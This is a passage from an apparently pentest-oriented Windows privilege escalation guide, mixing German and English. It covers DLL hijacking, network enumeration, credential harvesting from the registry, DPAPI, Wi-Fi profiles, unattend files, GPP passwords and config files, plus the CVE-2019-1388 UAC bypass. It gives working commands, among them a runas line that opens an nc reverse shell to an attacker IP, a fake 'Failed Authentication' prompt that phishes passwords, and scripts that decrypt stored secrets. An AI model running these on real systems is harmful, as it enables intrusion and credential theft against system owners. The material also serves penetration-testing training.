  • Beschränken Sie IOCTLs (access masks, METHOD_*, Eingabevalidierung) und erwägen Sie vermittelnde Modelle anstelle direkter Kernel-Privilegien.

Erkennungsideen für Verteidiger

  • Überwachen Sie User-Mode-Öffnungen verdächtiger Gerätenamen (z. B., \ .\amsdk*) und spezifische IOCTL-Sequenzen, die auf Missbrauch hindeuten.
  • Setzen Sie Microsofts Blockliste für verwundbare Treiber durch (HVCI/WDAC/Smart App Control) und pflegen Sie eigene Allow-/Deny-Listen.

PATH DLL Hijacking

If you have Schreibrechte in einem Ordner, der im PATH enthalten ist you could be able to hijack a DLL loaded by a process and escalate privileges.

Prüfen Sie die Berechtigungen aller Ordner im PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Weitere Informationen darüber, wie man diese Prüfung ausnutzt:

Writable Sys Path +Dll Hijacking Privesc

Netzwerk

Freigaben

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Prüfe auf andere bekannte Computer, die in der hosts file festcodiert sind.

type C:\Windows\System32\drivers\etc\hosts

Netzwerkschnittstellen & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Offene Ports

Von außen auf eingeschränkte Dienste prüfen

bash
netstat -ano #Opened ports?

Routingtabelle

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP Table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall-Regeln

Siehe diese Seite für Firewall-bezogene Befehle (Regeln auflisten, Regeln erstellen, ausschalten, ausschalten...)

Mehr Befehle zur Netzwerkerkundung hier

Windows-Subsystem für Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe kann auch in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe gefunden werden

Wenn man root user ist, kann man auf jedem Port lauschen (das erste Mal, wenn man nc.exe verwendet, um auf einem Port zu lauschen, wird es über die GUI fragen, ob nc von der firewall erlaubt werden soll).

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Um bash einfach als root zu starten, kannst du --default-user root ausprobieren

Du kannst das WSL-Dateisystem im Ordner C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ erkunden

Windows-Anmeldeinformationen

Winlogon-Anmeldeinformationen

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Der Windows Vault speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, die Windows kann die Benutzer automatisch anmeldeny. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer nun ihre Facebook-, Twitter- oder Gmail-Anmeldeinformationen usw. speichern, damit sie sich automatisch über Browser anmelden. Das ist jedoch nicht der Fall.

Windows Vault speichert Anmeldeinformationen, mit denen Windows Benutzer automatisch anmelden kann, was bedeutet, dass jede Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource zuzugreifen (Server oder eine Website) diesen Credential Manager nutzen kann & Windows Vault und die bereitgestellten Anmeldeinformationen verwendet, anstatt dass Benutzer ständig Benutzernamen und Passwort eingeben.

Solange die Anwendungen nicht mit Credential Manager interagieren, glaube ich nicht, dass es ihnen möglich ist, die Anmeldeinformationen für eine bestimmte Ressource zu verwenden. Wenn Ihre Anwendung also den Vault nutzen möchte, sollte sie sich irgendwie mit dem credential manager kommunizieren und die Anmeldeinformationen für diese Ressource anfordern aus dem Standard-Speichervault.

Verwenden Sie cmdkey, um die auf dem Rechner gespeicherten Anmeldeinformationen aufzulisten.

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Dann können Sie runas mit der Option /savecred verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Im folgenden Beispiel wird ein remote binary über ein SMB share aufgerufen.

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Verwenden von runas mit bereitgestellten Anmeldeinformationen.

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Beachte, dass mimikatz, lazagne, credentialfileview, VaultPasswordView, oder das Empire Powershells module.

DPAPI

Die Data Protection API (DPAPI) bietet eine Methode zur symmetrischen Verschlüsselung von Daten, die überwiegend im Windows-Betriebssystem für die symmetrische Verschlüsselung von asymmetrischen privaten Schlüsseln verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, das erheblich zur Entropie beiträgt.

DPAPI ermöglicht die Verschlüsselung von Schlüsseln durch einen symmetrischen Schlüssel, der aus den Anmeldegeheimnissen des Benutzers abgeleitet wird. In Szenarien mit Systemverschlüsselung nutzt es die Domain-Authentifizierungsgeheimnisse des Systems.

Verschlüsselte RSA-Benutzerschlüssel werden mittels DPAPI im Verzeichnis %APPDATA%\Microsoft\Protect\{SID} gespeichert, wobei {SID} den Benutzer-Security Identifier darstellt. Der DPAPI-Schlüssel, der zusammen mit dem master key, der die privaten Schlüssel des Benutzers in derselben Datei schützt, abgelegt ist, besteht typischerweise aus 64 Bytes zufälliger Daten. (Wichtig: Der Zugriff auf dieses Verzeichnis ist eingeschränkt, so dass eine Auflistung seines Inhalts über den dir-Befehl in CMD verhindert wird, obwohl es über PowerShell aufgelistet werden kann).

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Du kannst das mimikatz module dpapi::masterkey mit den entsprechenden Argumenten (/pvk oder /rpc) verwenden, um es zu entschlüsseln.

Die credentials-Dateien, die durch das Master-Passwort geschützt sind, befinden sich normalerweise in:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Du kannst das mimikatz module dpapi::cred mit dem passenden /masterkey zum Entschlüsseln verwenden.
Du kannst viele DPAPI masterkeys aus dem Speicher mit dem sekurlsa::dpapi module extrahieren (wenn du root bist).

DPAPI - Extracting Passwords

PowerShell-Anmeldeinformationen

PowerShell credentials werden häufig für scripting und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen werden mit DPAPI geschützt, was normalerweise bedeutet, dass sie nur vom selben Benutzer auf demselben Computer, auf dem sie erstellt wurden, entschlüsselt werden können.

Um PS-Anmeldeinformationen aus der Datei, die sie enthält, zu entschlüsseln, kannst du Folgendes tun:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

WLAN

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Gespeicherte RDP-Verbindungen

Sie finden diese unter HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
und in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Zuletzt ausgeführte Befehle

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remotedesktop-Anmeldeinformationsverwaltung

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Verwende das Mimikatz dpapi::rdg-Modul mit dem passenden /masterkey, um beliebige .rdg-Dateien zu entschlüsseln
Du kannst viele DPAPI masterkeys aus dem Speicher mit dem Mimikatz sekurlsa::dpapi-Modul extrahieren

Sticky Notes

Benutzer verwenden oft die StickyNotes-App auf Windows-Arbeitsstationen, um Passwörter zu speichern und andere Informationen, ohne zu erkennen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite und sollte immer gesucht und untersucht werden.

AppCmd.exe

Beachte, dass du zum Wiederherstellen von Passwörtern aus AppCmd.exe Administrator sein musst und AppCmd.exe unter einem High Integrity level ausgeführt werden muss.
AppCmd.exe befindet sich im Verzeichnis %systemroot%\system32\inetsrv\.\
Wenn diese Datei existiert, ist es möglich, dass einige credentials konfiguriert wurden und wiederhergestellt werden können.

Dieser Code wurde aus PowerUP:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Prüfe, ob C:\Windows\CCM\SCClient.exe existiert .
Installer werden mit SYSTEM privileges ausgeführt, viele sind anfällig für DLL Sideloading (Info von https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Dateien und Registry (Credentials)

Putty Creds

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH-Hostschlüssel

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH-Schlüssel in der Registry

Private SSH-Schlüssel können im Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys gespeichert werden, daher solltest du prüfen, ob sich dort etwas Interessantes befindet:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Wenn du einen Eintrag in diesem Pfad findest, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er ist verschlüsselt gespeichert, kann aber leicht mit https://github.com/ropnop/windows_sshagent_extract entschlüsselt werden.
Mehr Informationen zu dieser Technik hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Wenn der ssh-agent-Dienst nicht läuft und du möchtest, dass er beim Booten automatisch startet, führe aus:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Es scheint, dass diese Technik nicht mehr funktioniert. Ich habe versucht, einige ssh keys zu erstellen, sie mit ssh-add hinzuzufügen und mich per ssh an einer Maschine anzumelden. Der Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat während der asymmetrischen Schlüssel-Authentifizierung keine Verwendung von dpapi.dll festgestellt.

Unbeaufsichtigte Dateien

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Sie können diese Dateien auch mit metasploit durchsuchen: post/windows/gather/enum_unattend

Beispielinhalt:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM-Sicherungen

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud-Zugangsdaten

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Suche nach einer Datei mit dem Namen SiteList.xml

Zwischengespeichertes GPP-Passwort

Früher gab es eine Funktion, mit der benutzerdefinierte lokale Administratorenkonten über Group Policy Preferences (GPP) auf einer Gruppe von Rechnern bereitgestellt werden konnten. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die in diesen GPPs enthaltenen Passwörter, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt sind, von jedem authentifizierten Benutzer entschlüsselt werden. Das stellte ein ernstes Risiko dar, da dadurch Benutzern erhöhte Rechte ermöglicht werden konnten.

Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein nicht-leeres "cpassword"-Feld enthalten. Beim Finden einer solchen Datei entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details zur GPP und zum Speicherort der Datei und unterstützt so bei der Identifizierung und Behebung dieser Sicherheitslücke.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

To decrypt the cPassword:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Mit crackmapexec Passwörter abrufen:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Beispiel einer web.config mit Anmeldeinformationen:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN-Zugangsdaten

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Protokolle

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Um credentials bitten

Du kannst den Benutzer immer darum bitten, seine credentials oder sogar die credentials eines anderen Benutzers einzugeben, wenn du denkst, dass er sie kennen könnte (beachte, dass das direkte Bitten des Clients um die credentials wirklich riskant ist):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Mögliche Dateinamen containing credentials

Bekannte Dateien, die vor einiger Zeit passwords im clear-text oder als Base64 enthielten.

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Durchsuche alle vorgeschlagenen Dateien:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Zugangsdaten im Papierkorb

Überprüfe auch den Papierkorb, um darin nach Zugangsdaten zu suchen.

Um Passwörter wiederherzustellen, die von verschiedenen Programmen gespeichert wurden, kannst du Folgendes verwenden: http://www.nirsoft.net/password_recovery_tools.html

In der Registry

Weitere mögliche Registry-Schlüssel mit Zugangsdaten

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Browser-Verlauf

Sie sollten nach DBs suchen, in denen Passwörter von Chrome oder Firefox gespeichert sind.
Prüfen Sie auch den Verlauf, die Lesezeichen und Favoriten der Browser — möglicherweise sind dort Passwörter gespeichert.

Tools zum Extrahieren von Passwörtern aus Browsern:

COM DLL Overwriting

Component Object Model (COM) ist eine im Windows-Betriebssystem integrierte Technologie, die die Interkommunikation zwischen Softwarekomponenten in verschiedenen Sprachen ermöglicht. Jede COM-Komponente wird über eine class ID (CLSID) identifiziert und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die durch interface IDs (IIDs) identifiziert werden.

COM-Klassen und -Schnittstellen sind in der Registry unter HKEY\CLASSES\ROOT\CLSID bzw. HKEY\CLASSES\ROOT\Interface definiert. Diese Registry entsteht durch das Zusammenführen von HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Innerhalb der CLSIDs dieser Registry findet man den Unterschlüssel InProcServer32, der einen default value enthält, der auf eine DLL zeigt, sowie einen Wert namens ThreadingModel, der Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) oder Neutral (Thread Neutral) sein kann.

Grundsätzlich: Wenn Sie overwrite any of the DLLs, die ausgeführt werden, können, könnten Sie dadurch escalate privileges, falls diese DLL von einem anderen Benutzer ausgeführt wird.

Um zu lernen, wie Angreifer COM Hijacking als Persistenzmechanismus nutzen, siehe:

COM Hijacking

Generische Passwortsuche in Dateien und der Registry

Search for file contents

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Nach einer Datei mit einem bestimmten Dateinamen suchen

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Durchsuche die Registry nach Schlüsselnamen und Passwörtern

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Tools, die nach passwords suchen

MSF-Credentials Plugin ist ein msf plugin. Ich habe dieses Plugin erstellt, um automatically execute every metasploit POST module that searches for credentials auf dem Zielsystem auszuführen.\
Winpeas durchsucht automatisch alle Dateien, die passwords enthalten, die auf dieser Seite erwähnt werden.\
Lazagne ist ein weiteres großartiges Tool, um passwords aus einem System zu extrahieren.

Das Tool SessionGopher durchsucht nach sessions, usernames und passwords mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY und RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Siehe dieses Beispiel für mehr Informationen darüber, wie man diese Schwachstelle erkennt und ausnutzt.
Lies diesen weiteren Beitrag für eine ausführlichere Erklärung, wie man mehr offene Handler von Prozessen und Threads testet und missbraucht, die mit unterschiedlichen Berechtigungsstufen vererbt werden (nicht nur voller Zugriff).

Named Pipe Client Impersonation

Shared memory segments, referred to as pipes, enable process communication and data transfer.

Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.

When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a privileged process that communicates via a pipe you can mimic provides an opportunity to gain higher privileges by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found here and here.

Außerdem ermöglicht das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: https://github.com/gabriel-sztejnworcel/pipe-intercept und dieses Tool erlaubt es, alle Pipes aufzulisten und anzusehen, um privescs zu finden: https://github.com/cyberark/PipeViewer

Verschiedenes

Dateierweiterungen, die in Windows Code ausführen können

Sieh dir die Seite https://filesec.io/

Überwachung von Kommandozeilen auf Passwörter

When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Passwörter aus Prozessen stehlen

Von Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Wenn du Zugriff auf die grafische Oberfläche (via console oder RDP) hast und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen beliebigen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem unprivilegierten Benutzerkonto zu starten.

Das ermöglicht es, Privilegien zu eskalieren und UAC gleichzeitig mit derselben Schwachstelle zu umgehen. Zusätzlich ist es nicht notwendig, etwas zu installieren, und die während des Prozesses verwendete Binärdatei ist von Microsoft signiert und ausgestellt.

Einige der betroffenen Systeme sind die folgenden:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

